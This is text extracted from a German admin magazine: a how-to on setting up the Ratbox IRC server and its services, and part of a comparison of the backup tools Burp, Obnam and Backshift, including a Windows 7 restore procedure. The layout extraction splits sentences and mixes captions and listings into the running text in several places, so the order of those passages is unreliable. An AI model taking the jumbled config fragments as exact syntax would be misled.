Hardware-Anforderungen: Selbst 

auf ausgemusterten PCs lässt sich ein 

IRC-Server für mehrere Hundert Benutzer 

problemlos betreiben. Und: IRC-Clients 

finden sich wie Sand am Meer für alle 

Betriebssysteme – oft genug gehört ein 

IRC-Client zum Standardumfang der großen 

Instant-Messaging-Lösungen (Gaim, 

Adium X). 

IRC ist die Lösung 

Wenn Sysadmins nach Optionen suchen, 

um den Angestellten eines Unternehmens 

einen Kommunikationspfad via Chat- 

System zur Verfügung zu stellen, ist IRC 

deshalb die offensichtliche Lösung. Wer 

IRC eine Chance geben möchte, steht zunächst 

vor der Qual der Wahl hinsichtlich 

der Server-Software: Eben weil IRC schon 

ein paar Jahre auf dem Buckel hat, existieren 

unzählige Varianten von IRC-Servern. 

Fast alle stammen vom ursprünglichen 

Code ab, der bis heute im IRCNet 

[1] im Einsatz ist und dem ursprünglichen 

IRC-RFC [2] noch am nächsten 

ist. Daneben existiert eine Unzahl von 

Nachfolgern und Forks: Jedes der großen 

öffentlichen IRC-Netzwerke hat einen eigenen 

Fork; zusätzlich sind diverse Forks 

in Form von Privatprojekten im Umlauf. 

Der Shooting Star der IRC-Server war in 

den letzten Jahren Ratbox-IRCd, der im 

EFnet in der ursprünglichen Version zum 

Einsatz kommt und im bekannten OSS- 

IRC-Netz Freenode ebenfalls mitspielt 

(dort kommt »ircd‐seven« zum Einsatz, 

der ein Abkömmling von Charybdis ist, 

der schließlich einen Fork von Ratbox 

darstellt). 

Die Installation von Ratbox 

Wer einen IRC-Server mit Ratbox betreiben 

möchte, legt zunächst selbst Hand 

an: Die Distributionen haben schon vor 



Know-How 

Abbildung 1: Bei der Standard-Installation packt Ratbox-IRCd seine Dateien nach »/usr/local/ircd«; mittels 

entsprechender Parameter für den »configure«-Befehl lässt sich das aber ändern. 

Jahren den Versuch aufgegeben, für die 

existierenden IRC-Server fertige Pakete 

anzubieten – lediglich in Ubuntu ist 

ein Ratbox-Paket zu finden. Anderswo 

ist Kompilieren angesagt, doch gestaltet 

sich diese Übung bei Ratbox sehr angenehm. 

Die Ratbox-Quellen finden sich 

auf [3] und sind nach dem Entpacken 

mit dem klassischen Trikolon aus »configure«, 

»make« und »make install« zu 

installieren. 

Etwas seltsam mutet die Tatsache an, 

dass Ratbox als Default-Präfix »/usr/ 

local/ircd« verwendet und nicht »/usr/ 

local« (Abbildung 1). Wer den IRCd nach 

»/usr/local« umlegen möchte, gibt »configure« 

mittels »‐‐prefix=«-Parameter den 

passenden Parameter mit auf den Weg. 

Administratoren wollen meistens auch 

die Parameter verändern, die die maximale 

Länge von Nicknames im IRC-Netz 

und die maximale Länge von Channel- 

Themen (Topics) bestimmen: Ab Werk 

hat Ratbox hier 9 Zeichen (Nickname) 

und 180 Zeichen (Topic) vorgesehen, 

was nicht mehr zeitgemäß ist. Mit den 

Parametern »‐‐with‐topiclen=« und 

»‐‐with‐nicklen=« für »configure« lassen 

sich die Werte ändern. Last but not 

least spielt auch SSL noch eine Rolle: 

Ratbox kann IRC über SSL, doch ist dafür 

»libssl‐dev« Voraussetzung. Soll SSL also 

funktionieren, ist das System dementsprechend 

vorzubereiten. 

Interessant ist der »auth«-Abschnitt, denn 

in diesem legen Admins fest, wer sich 

überhaupt mit dem IRC-Server verbinden 

darf. Einträge dieses Typs dürfen in der 

Konfiguration mehrmals vorkommen, um 

verschiedenen IP-Bereichen oder Hosts 

den Zugriff zu erlauben. Interessant 

ist das »spoof«-Keyword: Darüber lässt 

sich ändern, welchem Host eine Person 

zugeordnet ist. Das wird innerhalb des 

IRC-Netzes angezeigt. Wer beispielsweise 

einen IRC-Server nicht nur für die interne 

Kommunikation im Unternehmen 

betreibt, sondern auch Kunden den Zuetc/ircd.conf« 

liegen muss. Wer früher 

bereits einen IRC-Server konfiguriert hat, 

erinnert sich an deren etwas kryptische 

Syntax, bestehend aus I-Lines, O-Lines, 

C-Lines sowie den berüchtigten K-Lines, 

die Benutzer vom Server aussperren. Geblieben 

ist von dieser Syntax in Ratbox 

nichts, stattdessen kommt eine Syntax 

mit einzelnen Konfigurations-Abschnitten 

zum Einsatz, die das Verständnis der 

Konfiguration deutlich erleichtern. 

Es kann an dieser Stelle nicht jeder einzelne 

Konfigurationsparameter diskutiert 

werden, aber im Quelltext-Ordner von 

Ratbox findet sich in »doc« eine »exmaple. 

conf«, die als Grundalge für » ircd.conf« 

gute Dienste leistet. Viele Einträge erklä- 

ren sich von selbst: So ist im Abschnitt 

»serverinfo« in der Beispieldatei der Eintrag 

»hades.arpa« durch den Namen zu 

ersetzen, den der IRC-Server haben soll 

(hierbei muss es sich übrigens nicht um 

einen per DNS auflösbaren Hostnamen 

handeln). 

Im gleichen Abschnitt ist auch der Name 

des IRC-Netzwerks anzugeben und eine 

kurze Beschreibung dieses Servers. Weiterhin 

sollten die Ports definiert sein, an 

denen Ratbox auf eingehende Verbindungen 

wartet (der klassische IRC-Port 

aus Gewohnheit ist 6667, er ist bei den 

meisten Clients voreingestellt). 

Benutzerverwaltung 

Die IRCd-Konfiguration 

Nach der Installation folgt die Konfiguration 

des IRC-Servers. Die spielt sich 

im Wesentlichen in einer Datei namens 

»ircd.conf« ab, die unter Verwendung 

des Standard-Präfix in »/usr/local/ircd/ 

Abbildung 2: Dieser »oper«-Block in »ircd.conf« legt fest, dass der Benutzer »martin« Operator ist und 

praktisch alles darf. 


Admin 


71

Know-How 


griff für Support-Zwecke erlaubt, kann 

die Mitarbeiter des Unternehmens so 

kennzeichnen. 

Nicht zuletzt lassen sich mittels einer 

»class«-Definition Benutzerklassen festlegen, 

denen einzelne »auth«-Abschnitte 

danach zuzuweisen sind. Über das 

System der Benutzerklassen lässt sich 

festlegen, wie viele Benutzer pro »auth«- 

Eintrag gleichzeitig mit dem Server verbunden 

sein dürfen, wann der Server die 

Verbindung kappt, wenn er keine Antwort 

auf seine Ping-Requests erhält, und 

wie groß die internen Puffer sind, die der 

Server pro verbundenem Client dieser 

Klasse anlegt. 

User- und Operator-Flags 

Das Prinzip von User-Flags und Operator-Flags 

existiert in IRC seit Anfang an. 

Flags erlauben es Benutzern, bestimmte 

Funktionen zu nutzen. Bei Administratoren 

geben die Flags Auskunft über 

die Befehle, die die Admins ausführen 

können. Die Flags werden per »flags = 

«-Keyword in ircd.conf je »auth«-Block 

oder »operator«-Block (Abbildung 2) zugeteilt. 

Eine ausführliche Übersicht über 

die Operator- und User-Flags, die in Ratbox 

zur Verfügung stehen, findet sich 

direkt in der »example.conf« im »auth«- 

Eintrag. Über die verfügbaren Operator- 

Flags gibt der exemplarische Operator- 

Block in der »example.conf« Auskunft. 

Übrigens: User-Flags lassen sich – soweit 

Listing 1: Beispielhafte »servers«-Klasse 

01 class „server“ { ping_time = 5 minutes; 

Abbildung 3: In der MOTD (»ircd.motd«) können Admins Texte festlegen, die die Benutzer beim Connect sehen 

– zum Beispiel ASCII-Art mit Figlet. 

sie im entsprechenden »auth«-Block erlaubt 

sind, von den Benutzern aktivieren. 

Um die Operator-Flags zu verwenden, ist 

es notwendig, sich als Benutzer zuerst als 

Operator am IRC-Server anzumelden. Der 

benötigte Befehl dazu ist »oper «. 

Die MOTD 

Ratbox bietet die Möglichkeit, Benutzern 

beim Aufbau der Verbindung mit dem 

IRC-Server eine »Message of the Day« anzuzeigen. 

In dieser lassen sich einerseits 

Hinweise unterbringen, die sich auf die 

01 /* connectfreq: only used in server classes. specifies the delay * between autoconnecting to servers. 

*/connectfreq = 5 minutes; 

01 /* max number: the amount of servers to autoconnect to */max_number = 1; 

01 /* sendq: servers need a higher sendq as they send more data */sendq=2 megabytes; }; 

Benutzung des IRC-Servers selbst beziehen, 

andererseits sind hier auch Einträge 

möglich, die generellen Informationscharakter 

haben (beispielsweise aktuelle 

Verlautbarungen aus dem Unternehmen). 

Ratbox zeigt dabei die Inhalte an, die in 

»ircd.motd« stehen; die Datei liegt im 

gleichen Ordner wie »ircd.conf«. Eine 

Syntax kennt »ircd.motd« nicht – viele 

IRC-Admins tragen hier auch einen mit 

»figlet« generierten Schriftzug ein, häufig 

den Firmennamen (Abbildung 3). Falls 

die MOTD nicht angezeigt wird, obwohl 

die Datei vorhanden ist, empfiehlt sich 

der Check der Berechtigungen dieser Datei: 

Ratbox gibt keine Fehlermeldung aus, 

wenn es »ircd.motd« nicht lesen kann; 

stattdessen zeigt es gar keine MOTD an. 

Die Ratbox-Services 

Listing 2: Beispielhafter »connect«-Block 

01 /* connect {}: controls servers we connect to (OLD C:, N:, H:, L:) */connect „services.irc.hastexo. 

com“ { /* the name must go above */ 

01 /* host: the host or IP to connect to. If a hostname is used it * must match the reverse dns of the 

server. * / host = „10.42.0.1“; 

01 /* passwords: the passwords we send (OLD C:) and accept (OLD N:). * The remote server will have these 

passwords reversed. */send_password = „sehrgeheim“; accept_password = „sehrgeheim“; 

01 /* port: the port to connect to this server on */port = 5556; 

01 /* hub mask: the mask of servers that this server may hub. Multiple * entries are permitted */hub_ 

mask = „*“; 

01 /* class: the class this server is in */class = „server“; 

01 /* flags: controls special options for this server * encrypted - marks the accept_password as being 

crypt()’d * autoconn - automatically connect to this server * compressed - compress traffic via 

ziplinks * topicburst - burst topics between servers */flags = compressed, topicburst; }; 

Die sogenannten »IRC‐Services« (Funktionserweiterungen 

wie Kanäle, oder 

der Erinnerungsdienst) finden sich mit 

Ausnahme des IRCnets mittlerweile bei 

praktisch allen IRC-Netzwerken. Im IRC- 

Standard selbst waren sie gar nicht vorgesehen, 

doch kam mit der zunehmenden 

Bekanntheit von IRC schnell der Wunsch 

nach bestimmten Features auf. So wollen 

viele Benutzer beispielsweise in der Lage 

sein, ihren Nickname innerhalb des IRC- 

Netzwerks zu registrieren, sodass andere 

ihn nicht benutzen können. Auch Kanäle 

sind auf diese Weise registrierbar, womit 



Know-How 

die IRC-Services einen sinnvollen Ersatz 

darstellen zu versuchen, Kanäle mit IRC- 

Robots zu beschlagnahmen. Für Ratbot 

steht eine eigene Service-Umgebung zur 

Verfügung, die auf den Namen » Ratbox 

Services« hört. 

Für Ubuntu steht eine paketierte Form 

dieser Ratbox-Services zur Verfügung, bei 

anderen Systemen ist wiederum Handarbeit 

angesagt. »configure«, » make« 

und »make install« genügen aber auch 

hier. Wer bei Ratbox andere Werte für 

»topiclen« und »nicklen« angegeben hat, 

sollte das auch für die Ratbox-Services 

tun, sonst lassen sich die Services nicht 

mit Ratbox verbinden. Wenn die Services 

installiert und konfiguriert sind – auch 

für die Services steht eine umfangreiche 

»example.conf« zur Verfügung, die als 

»ratbox‐services.conf« im Konfigurationsordner 

landet – ist der nächste Schritt, 

den eigentlichen IRCd mit den Services 

zu verbinden. 

Server-Server-Verbindung 

Die Möglichkeit, einen IRC-Server mit 

einem anderen zu verbinden, um so ein 

zusammenhängendes Netz zu schaffen, 

bieten alle IRC-Server. Service-Suites 

machen sich diese Eigenschaft üblicherweise 

zunutze; anstatt für jeden Dienst 

(NickServ, ChanServ, NoteServ …) einen 

eigenen Client mit dem Server zu 

verbinden, verbindet sich der Service- 

Daemon als IRC-Server mit einem schon 

vorhandenen Server im Netz und agiert 

anschließend auch wie ein IRC-Server. 

Damit das Prinzip funktioniert, sind allerdings 

sowohl die Konfiguration des schon 

laufenden Ratbox-Servers wie auch die 

Service-Konfiguration selbst an diese Umstände 

anzupassen. 

In »ircd.conf« von Ratbox muss erstmal 

eine Klasse her, in welche der IRCd Server-Verbindungen 

einsortiert. Kasten 1 

zeigt ein vollständiges Beispiel für eine 

solche Klasse namens »servers«. 

Darüber hinaus fehlt in »ircd.conf« der 

Block, der die Verbindung zum anderen 

Server erlaubt. Solche Blöcke enthalten 

das Schlüsselwort »connect«. Im Beispiel 

könnte eine Verbindung zum Services- 

Server aussehen wie im Kasten 2, der ein 

vollständiges Beispiel enthält. 

Insbesondere ist darauf zu achten, dass 

der Eintrag unmittelbar hinter »connect« 

mit dem Namen übereinstimmt, der als 

Service-Name in der »ratbox‐services. 

conf« steht. Die »Port«-Angabe erfüllt an 

dieser Stelle lediglich Alibi-Funktionen, 

weil die Services sich – und das ist ein 

Sonderfall – mit dem IRC-Server verbinden, 

umgekehrt funktioniert das Prinzip 

aber nicht. 

Schließlich fehlt noch der eigentliche 

»services«-Block, der so auszusehen hat 

»services.irc.hastexo.com« : 

service { 

/* name: the server name. U 

These may be stacked. */ 

name = "services.irc.hastexo.com"; 

}; 

Services-Verbindung 

einrichten 

Schließlich müssen auch die Services 

wissen, wohin sie sich verbinden sollen. 

Im Beispiel ist in »ratbox‐services.conf« 

innerhalb des Blocks »serverinfo« dazu 

zunächst der Eintrag 

»name« wie in Kasten 

2 auf »services.irc. 

hastexo.com« zu setzen. 

Auch der Vhost 

ist entsprechend einzustellen. 

Dann braucht auch 

»ratbox‐services.conf« 

einen vollständigen 

Block mit »connect«- 

Schlüsselwort; Listing 

3 enthält wiederum 

ein passendes Beispiel. 

Hinter »connect« steht 

dabei wiederum der 

Name, wie er für Ratbox 

in »ircd.conf« angegeben 

ist. 

Ob die Konfiguration 

passt, können Benutzer 

in den Server-Messages 

von Ratbox sehen, 

wenn sie als Operator 

eingeloggt sind. 

Sobald die Services 

mit Ratbox verbunden 

sind, stehen ChanServ 

& Co. zur Verfügung. 

Fügt der Administrator 

des IRC-Servers in »ratbox‐services« 

ebenfalls 

noch einen »operator«- 

Zugang hinzu (in der kommentierten 

Beispiel-Datei findet sich eine Vorlage), 

können sich IRC-Admins im IRC auch als 

Admins an den Services anmelden. Wie 

das funktioniert, steht in [4]. (jcb) n 

Infos 

[1] IRCnet: [http:// www. ircnet. org] 

[2] IRC-RFC: [http:// www. irchelp. org/ irchelp/ 

rfc/ rfc. html] 

[3] Ratbox-Dowenload: [http:// www. ratbox. 

org/ download. shtml] 

[4] Operguide: [http:// docs. ratbox. org/ 

svc_operguide. shtml] 

Listing 3: »connect«-Block für »ratbox‐services« 

01 connect „irc.hastexo.com“ { /* host: the host to connect 

to */host = „10.42.0.1“; 

01 /* password: the password to use */password = 

„sehrgeheim“; 

01 /* port: the port to connect on */port = 5555; 

01 /* autoconn: auto connect to this server. default yes 

*/autoconn = yes; }; 


Admin 


73

Know-how 

Open-Source-Backup 

© Kirsty Pargeter, 123RF 

Netzwerk-Backup mit Burp, Obnam und Backshift 

Wettlauf 

Die wohl bekanntesten freien Backup-Lösungen Bacula und Amanda bekommen Konkurrenz. Mit Burp, Obnam 

und Backshift beeindrucken vielversprechende Newcomer durch interessante Funktionen. Thomas Drilling 

Zum Programm-Editor griff Graham 

Keeling in erster Linie, weil er sich über 

die Komplexität der Netzwerk-Backup- 

Software Bacula ärgerte [1]. Heraus kam 

die kompakte Netzwerk-Backup-Lösung 

Burp [2], die wahlweise im Client- oder 

Server-Modus läuft, sich vollständig über 

Aufrufparameter steuern lässt und sich 

somit auch für den Einsatz in Skripten 

eignet. Der Server-Modus wird nur auf 

Unix-/Linux-Maschinen unterstützt, 

während es von dem Client auch einen 

Installer für 32- und 64-Bit-Windows- 

Systeme gibt. Burp nutzt unter anderem 

Librsync zur Realisierung platzsparender 

Delta-Backups. Der Hauptunterschied 

zwischen gewöhnlichen inkrementellen 

und Delta-Backups zeigt sich beim Anlegen 

aufeinander folgender Sicherungen 

von Bereichen, die kontinuierlichen Änderungen 

unterliegen. Dann enthält jeder 

weitere inkrementelle Sicherungsdatensatz 

den vollständigen Inhalt des zuvor 

erstellten inkrementellen Sicherungsdatensatzes 

sowie alle seit der letzten 

Gesamtsicherung veränderten oder neu 

hinzugekommenen Daten. Delta-Sicherungen 

hingegen enthalten ausschließlich 

die seit der letzten Sicherung (gesamt 

oder inkrementell) geänderten oder hinzugekommenen 

Daten. 

Burp-Features 

Zum Sichern von Windows-Hosts nutzt 

Burp die Windows Volume Shadow Copy 

Services (VSS), was unterbrechungsfreie 

und konsistente Backups von Windows- 

Rechnern gewährleistet. Außerdem unterstützt 

es Junctions [3], eine Art symbolischer 

Links bei NTFS-Dateisystemen. 

Auf Unix-Systemen kann Burp neben 

Dateien und Verzeichnissen auch Hardlinks, 

Symlinks, Fifos und Device Nodes 

über das Netzwerk sichern. Bereits seit 

der Version 1.1.70 vom Sommer letzten 

Jahres sichert Burp unter FreeBSD auch 

Extended Attributes und ACLs (Access 

Control Lists). 

Burp ist freie Software und steht unter 

der AGPLv3 auf Sourceforge [4] zum 

Download zur Verfügung. Die momentan 

stabile Version 1.3.0 datiert auf Januar 

diesen Jahres, während die aktuelle Version 

1.3.6 Ende Mai freigegeben wurde. 

Der zugehörige Windows-Client steht 

in Form einer Installer-Datei für 32 und 

64 Bit zur Verfügung. Optional kann der 

Admin die Burp-Dateien auch mit 

git clone git://github.com/grke/burp.git 

aus dem Github-Repository auschecken. 

Darüber hinaus ist Burp 1.3.1 seit einiger 

Zeit im Universe-Repository von Ubuntu 

Precise (12.04) enthalten und als Paket 

für Debian Sid verfügbar. 

Zum Installieren des Servers unter Linux 

muss der Admin zunächst die notwendigen 

Pakete installieren, im Beispiel auf 

einer Ubuntu-Distribution: 

sudo apt‐get install librsync‐dev U 

libz‐dev libssl‐dev uthash‐dev 

Anschließend genügt es, im Verzeichnis 

der entpackten Quellen »sudo ./configure 

; make ; make install« auszuführen. 

Statt »make install« kann der Admin auch 

»checkinstall« benutzen, um ein Installa- 



Know-how 

tionspaket zu bauen, was eine etwaige 

Deinstallation vereinfacht. Zum Starten 

des Servers genügt das Eingeben von 

burp ‐c /etc/burp/burp-server.conf, 

wobei »c‐« den Pfad zur Konfigurationsdatei 

angibt. Die sorgt auch dafür, dass 

Burp beim Start die erforderlichen Zertifikate 

generiert (Abbildung 1). 

In der Default-Einstellung läuft der Server 

als Daemon im Hintergrund, lässt sich 

aber mit der Option »‐F« auch im Vordergrund 

starten. Für einen ersten Test kann 

der Admin die mitgelieferte Server-Konfiguration 

verwenden. Der Burp-Server 

benutzt per Default den Port 4971. Im 

Produktivbetrieb muss der Admin aber 

auf jeden Fall das Sicherungsverzeichnis 

anpassen (Abbildung 2). 

Unix-Client 

Jeder Client bekommt vom Server ein Unterverzeichnis 

im Sicherungsverzeichnis 

des Servers, in dem Burp die jeweils fünf 

letzten Sicherungen ablegt, was der Admin 

nach Belieben in der Vorlage der Serverkonfiguration 

»/etc/burp/burp‐server. 

conf« den eigenen Wünschen anpassen 

kann. In der Unix-Variante implementiert 

»make install« übrigens auch einen Cron- 

Job für den Client, der per Default alle 20 

Minuten aktiv wird. Die zu sichernden 

Daten legt der Admin in der jeweiligen 

Client-Konfigurationsdatei »/etc/burp/ 

burp.conf« mithilfe einer Include-Anweisung 

fest. 

Mit der Anweisung »exclude Pfad« lassen 

sich dagegen gezielt Verzeichnisse ausschließen. 

Noch granularer funktioniert 

das Ausschließen einzelnen Dateitypen 

mit »exclude_ext = Typ«, etwa 

exclude_ext = img 

Zudem lassen sich mit »exclude_fs« verschiedene 

Arten von Meta-Daten, etwa 

temporäre Dateisysteme wie »proc«, 

»devfs«, »devpts« oder »ramfs« von der 

Sicherung ausschließen: 

exclude_fs = sysfs 

Ferner ist es möglich, Dateien einer bestimmten 

Größe auszuschließen, etwa 

solche mit 0 MByte. Die Burp-Konfigurationssprache 

stellt dazu zwei mögliche 

Parameter »min_file_size« oder »max_ 

file_size« zur Verfügung: 

»min_file_size = 0 Mb« 

Spezialbehandlung für 

Device Nodes und FIFOs 

Eine Besonderheit gibt es beim Umgang 

mit Spezialdateien wie Fifos und Block 

Devices Nodes. In der Default-Einstellung 

sichert Burp nur die Namen der Pipes, 

aber nicht deren Inhalt. Daher kann der 

Admin mit den beiden folgenden Optionen 

ausgewählte (oder alle) Fifos explizit 

mitsichern: 

read_fifo=/Pfad/zum/Fifo 

read_all_fifos=0 

rz lam-0018 Anzeige_210x148:la1 lam-0010 Anzeige_210x148 18.08.2010 15:26 Uhr Seite 1 

E 

„Es gibt drei Möglichkeiten, eine Firma zu ruinieren: 

mit Frauen, das ist das Angenehmste; 

mit Spielen, das ist das Schnellste; 

mit Computern, das ist das Sicherste.“ 

Oswald Dreyer-Eimbcke, deutscher Unternehmer 

Es gibt allerdings auch eine ganze Reihe von Möglichkeiten, mit IT zum Unternehmenserfolg beizutragen. 

Und genau damit beschäftigen wir uns seit dem Jahr 1989. In weit über 100.000 Stunden IT-Training, 

technischem Consulting und Software-Entwicklung haben wir eine ganze Menge Know-how entwickelt. 

Dieses umfassende Wissen kommt Ihnen heute zugute, wenn wir Sie in allen IT-Fragen unterstützen. 

Wie Sie von unserem Know-how profitieren, erfahren Sie unter www.lamarc.com. 

Rufen Sie uns an +49 611 26 00 23 oder schicken eine E-Mail an info@lamarc.com 

Seminare OnSite Coaching Netzwerk Consulting System Consulting Developer Support Software-Entwicklung 


Admin 


77

Know-how 


Das Gleiche gilt für die Block Device Nodes, 

die mit den Einstellungen 

read_blockdev=/Pfad/zum/blockdev 

read_all_blockdevs=0 

ins Backup aufgenommen werden. 

Windows Client 

Die Installer-Datei des Windows-Client 

für 32 oder 64 Bit findet man wie erwähnt 

im Unterverzeichnis der jeweiligen 

Burp-Version auf Souceforge in der 

Rubrik »Files«. Unter Windows genügt 

das Doppelklicken der Installer-Datei, um 

den Client zu installieren. Ein Assistent 

erfragt dabei die IP-Adresse des Servers 

und möchte einen Client-Namen nebst 

Passwort festlegen, der dem Server zum 

Identifizieren des Clients dient (Abbildung 

3). 

Analog zum Cronjob des Unix-Clients legt 

der Installer der Windows-Version im Folgeschritt 

einen Windows-Scheduler-Task 

mit einer Poll-Frequenz von 20 Minuten 

an und führt die Installation dann zu 

Ende, leider ohne die Möglichkeit, den 

Ort für die Konfigurationsdatei zu ändern. 

Sie findet sich anschließend unter 

»C:\Programme\Burp\burp.conf«. 

Ähnlich wie bei der Unix-Version ist das 

zu sichernde Verzeichnis in der Default- 

Konfiguration »C:\Users« ebenfalls per 

Include-Anweisung anzugeben. Hat der 

Admin weitere zu sichernde Verzeichnisse 

mit zusätzlichen Include-oder Exclude- 

Zeilen angegeben, steht der Verwendung 

des Clients nichts mehr im Wege. 

Burp verwenden 

Wie erwähnt lässt sich Burp komplett 

über die Kommandozeile steuern und in 

eigenen Skripten verwenden. Entsprechend 

umfangreich ist der Parametersatz. 

Die einfachste Möglichkeit, am Client ein 

Backup »b« anzustoßen, besteht in der 

Eingabe von 

burp ‐a b 

wobei der Pameter »‐a« für „action“ 

steht und neben »b« (für „backup“) 

die Optionen »t« („timed backup“), »r« 

(„restore“), »l« („list“), »L« („long list“), 

»v« („verify“) und »e« („estimate“) kennt. 

So zeigt etwa »burp ‐s l« die auf dem 

Server vorhandenen Backups an („list“), 

während » burp ‐a l ‐b 2« alle Dateien 

im Backup mit der Nummer 2 auflistet. 

Möchte der Administrator alle Dateien 

in allen vorhandenen Backups sehen, 

gibt er »burp ‐a l ‐b a« ein. Selbstverständlich 

sind auch komplexere 

Abfragen möglich. So listet der Aufruf 

burp ‐a l ‐b 3 ‐r Regulärer Ausdruck 

sämtliche Dateien im Backup Nummer 3, 

die auf den mit »‐r« angegebenen „regulären 

Ausdruck“ passen. Selbstverständlich 

lassen sich reguläre Ausdrücke auch mit 

Restore verwenden. Der Befehl 

burp ‐a r ‐b 2 ‐r Regulärer AusdruckU 

‐d /Restore‐Dir 

spielt sämtliche Dateien des Backups 

Nummer 2, die auf den angegebenen 

regulären Ausdruck passen, in das mit 

»‐d« angegebene Verzeichnis zurück. 

Genauso einfach lässt sich das zuletzt 

durchgeführte Backup mit »burp ‐a v« 

überprüfen. 

Bare Metal Restore von 

Windows 7 

Als praxisnahes Beispiel beschreibt Graham 

Keeling den Workaround für ein 

komplettes Bare Metal Restore eines 

Windows-7-PCs unter Zuhilfenahme des 

Automated Installation Kit (AIK) für Windows 

7, das in der aktuellen Version 3.0 

unter [5] zum Download zur Verfügung 

steht. Die Ausgangslage für die folgenden 

Schritte besteht aus einem kompletten 

Burp-Backup des Laufwerks »C:«. Dazu 

genügt die Option »include C:\« in der 

G Abbildung 1: Der Server ist mit wenigen Handgriffen einsatzbereit. Burp 

überträgt die Backup-Daten verschlüsselt zum Server. 

E Abbildung 2: In der Server-Konfiguration legt der Admin den Pfad zum 

Speichern der Backups auf dem Server fest. 



Know-how 

Burp-Client-Konfiguration »C:\ 

Programme\Burp\burp.conf«. 

Dabei empfiehlt es sich allerdings 

schon aus Platzgründen, 

die Auslagerungsdatei 

»pagefile.sys« mit 

exclude = C:/pagefile.sys 

auszuschließen. 

Das Starten des Backups funktioniert 

genauso wie beim 

Unix-Client, wahlweise in der 

Eingabeaufforderung oder 

der Powershell. Anschließend 

muss der Admin das knapp 

1,6 GByte große ISO-Image 

des AIK herunterladen, einer installieren. 

Sammlung von Tools, die die 

Konfiguration und Bereitstellung von 

Windows-Betriebssystemen unterstützen. 

Damit lässt sich beispielsweise eine 

Windows-Installation automatisieren. 

Das AIK ermöglicht es aber auch, Windows-Abbilder 

mit ImageX zu erfassen, 

Abbilder mit der „Abbildverwaltung für 

die Bereitstellung“ (Deployment Imaging 

Servicing and Management, DISM) zu 

konfigurieren oder Windows-PE-Abbilder 

zu erstellen. 

Außerdem kann der Administrator mit 

dem „Migrationsprogramm für den Benutzerstatus“ 

(User State Migration Tool, 

USMT) des AIK auch Benutzerprofile und 

Daten migrieren. Windows AIK enthält 

darüber hinaus das „Volume Activation 

Management Tool“ (VAMT), das es OEM- 

Herstellern oder Integratoren erlaubt, 

den Aktivierungsvorgang für Volumenlizenzen 

mithilfe eines Mehrfachaktivierungsschlüssels 

(Multiple Activation 

Key, MAK) zu automatisieren. Nach dem 

Installieren von Windows AIK führt der 

Admin die folgenden Kommandos mit 

Administrator-Rechten aus. 

copype.cmd amd64 c:\winpe_amd64 

cd c:\winpe_amd64 

copy winpe.wim iso\sources\boot.wim 

dism /mount‐wim /wimfile:iso\sources\boot.U 

wim /index:1 /mountdir:mount 

Jetzt kann er wahlweise entweder das 

komplette Verzeichnis »C:\Programme\ 

Burp« mit in die WinPE-Disk packen, 

indem er es in das Verzeichnis »mount\ 

windows« kopiert, oder er lagert das 

Verzeichnis auf einem File-Server 

zwischen. Danach gibt er die Befehle 

Abbildung 3: Der Windows-Client lässt sich mithilfe eines grafischen Installers 

dism /unmount‐wim /mountdir:mount /commit 

oscdimg ‐n ‐betfsboot.com iso winpe_amd64.iso 

ein, um ein Image zu erstellen, das er 

dann auf eine DVD/CD brennt. 

Komprimierte Images 

Das WIM-Format wird bei Microsoft 

für hochkomprimierte Images verwendet 

und verbraucht bis zu zwei Drittel 

weniger Speicher als das ursprüngliche 

Datenvolumen. »Copype.cmd« ist ein 

Skript zum Erstellen eines bootfähigen 

Windows-PE-RAM-Datenträgers auf CD- 

ROM. Anschließend muss der Admin 

eine bootfähige Disk mit dem WinPE- 

ISO-Image erzeugen, mit der er dann den 

wiederherzustellenden Rechner bootet, 

womit er schließlich in einem schlichten 

Kommando-Prompt der Form »X:\ 

windows\system32« landet. Jetzt kann er 

eine neue Partition »C:« anlegen: 

select disk 0 

create partition primary 

active 

assign letter=C 

und dann formatieren: 

format fs=ntfs quick 

Ist das erledigt, kann er den Restore-Prozess 

durch Eingeben von 

cd C:\Programme\Burp\bin 

burp.exe ‐a r ‐f 

starten, wenn sich Burp auf der WinPE 

befindet. Alternativ kann er den Client- 

Installer beispielsweise von einem Da- 

tei-Server starten und dabei 

erneut mit den passenden 

Parametern (IP-Adresse, Clientname, 

Passwort) konfigurieren. 

Danach fährt der 

Administrator die Maschine 

herunter und bootet mit einer 

gewöhnlichen Windows7- 

Installations-Disk neu. Nach 

Auswahl von Sprache, Zeitzone, 

Währung, Tastatur 

wählt er im nächsten Schritt 

des Setup-Assistenten statt 

»Jetzt installieren« die »Computerreparaturoptionen« 

und 

im Folgeschritt den letzten 

Eintrag »Eingabeaufforderung«. 

Hier muss er »diskpart« 

erneut aufrufen, allerdings nur, um die 

Partition C: zu aktivieren und den Boot- 

Sektor wiederherzustellen: 

select disk 0 

select partition primary 

active 

bootrec /rebuildbcd 

Danach bootet er ein zweites Mal mit 

der Windows-7-Installations-Disk und 

wählt erneut »Computerreparaturoptionen«, 

allerdings sollte das System jetzt 

mit »Systemreparatur« in der Lage sein, 

selbstständig zu starten. Laut Graham 

Keeling führt dieser Workaround allerdings 

dazu, dass im Hauptverzeichnis 

des restaurierten Systems einige seltsame 

Einträge auftauchen wie »C:\$Recycle. 

Bin«, »C:\Documents and Settings«, 

»C:\System Volume Information«, »C:\ 

Temp«und »C:\C:« sowie eine zusätzliche 

kleine Partition E:. Offenbar existieren 

diese Verzeichnisse versteckt auch im 

Originalsystem. 

Alternativen 

Als Alternativen zu Burp gibt es beispielsweise 

Obnam und Backshift, die 

vor Kurzem jeweils eine stabile Version 

veröffentlicht haben. Backshift [6] von 

Dan Stromberg ist ein relativ einfach gehaltenes 

Python-Programm, das keinen 

Client/Server-Modus kennt. Backshift 

unterstützt von Haus aus keine Verschlüsselung, 

gefällt aber durch die einfache 

Handhabung und dadurch, dass 

es die Daten beim Sichern komprimiert 

und dedupliziert, was zu einer enormen 


Admin 


79

Know-how 


Platzersparnis führt. Der Autor betont 

ausdrücklich, dass es sich bei Backshift 

nicht nur um ein weiteres Tar-Frontend 

handelt, weil der implementierte Deduplizierungs-Algorithmus 

zu einer weit 

größeren Platzersparnis führe, als bloßes 

Komprimieren. 

Die relativ frische Backshift-Version 1.03 

v steht unter [6] im Quelltext (Python- 

Code) zum freien Download zur Verfügung. 

Zur Installation muss vor dem Eingeben 

von »make install« wie üblich eine 

Konfiguration erfolgen. Das Übersetzen 

entfällt, weil es sich um Python-Code 

handelt. Beim Konfigurieren kann sich 

der Admin zwischem Python-Interpreter 

CPython – dann genügt das Eingeben von 

»./configure« – oder Pypy [7] entscheiden. 

Pypy gilt in der aktuellen Version 

